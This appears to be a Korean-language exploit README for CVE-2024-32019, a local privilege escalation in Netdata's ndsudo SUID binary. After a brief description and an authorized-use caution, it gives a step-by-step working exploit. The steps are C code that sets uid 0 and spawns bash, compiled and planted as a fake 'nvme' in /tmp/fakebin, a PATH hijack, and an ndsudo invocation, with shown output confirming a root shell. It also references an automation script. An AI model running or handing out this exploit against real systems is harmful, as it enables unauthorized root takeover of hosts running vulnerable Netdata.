
CVE-2024-32019는 Netdata(버전 >= 1.44.0-60 < 1.45.3)의 높은 심각도 로컬 권한 상승 취약점으로, ndsudo SUID 바이너리에서 PATH 변수를 안전하지 않게 사용하여 발생하며, 공격자가 루트 권한으로 임의의 명령을 실행할 수 있습니다.
ndsudo PATH 취약점 익스플로잇 (LPE to Root)CVE-2024-32019용 Python 기반 익스플로잇으로, Netdata Agent의 높은 심각도 로컬 권한 상승 취약점을 악용합니다. 이 취약점은 PATH 환경 변수를 안전하게 처리하지 못하는 잘못 구성된 SUID 바이너리(ndsudo)를 이용합니다.
[!Caution] 이 코드는 교육 및 승인된 테스트 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 이 도구를 무단 사용하는 것은 불법입니다.
CVE ID: CVE-2024-32019
CVSS 점수: 8.8 (High)
공개일: 2024년 4월 12일
구성 요소: Netdata Agent
영향받는 버전:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169Netdata의 ndsudo 도구는 SUID 루트 바이너리로, 비루트 사용자를 대신하여 제한된 시스템 명령(예: nvme)을 안전하게 실행하도록 설계되었습니다.
그러나 구현 결함으로 인해 명령 바이너리를 확인할 때 사용자가 제어하는 PATH 변수를 신뢰합니다. 공격자가 PATH를 조작하여 악성 바이너리가 포함된 쓰기 가능한 디렉터리를 포함시키면, ndsudo는 이를 루트 권한으로 실행하여 로컬 권한 상승으로 이어집니다.
다음 단계는 ndsudo에서 취약점을 수동으로 익스플로잇하는 방법을 보여줍니다.
다음 C 코드를 nvme.c로 저장합니다:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH 수정하기export PATH=/tmp/fakebin:$PATH
which nvme
# 출력: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
성공하면 루트 셸을 얻습니다.
# whoami
root
ssh 접근 권한이 있다면 CVE-2024-32019-dbs.py를 사용하여 이 과정을 자동화할 수 있습니다.
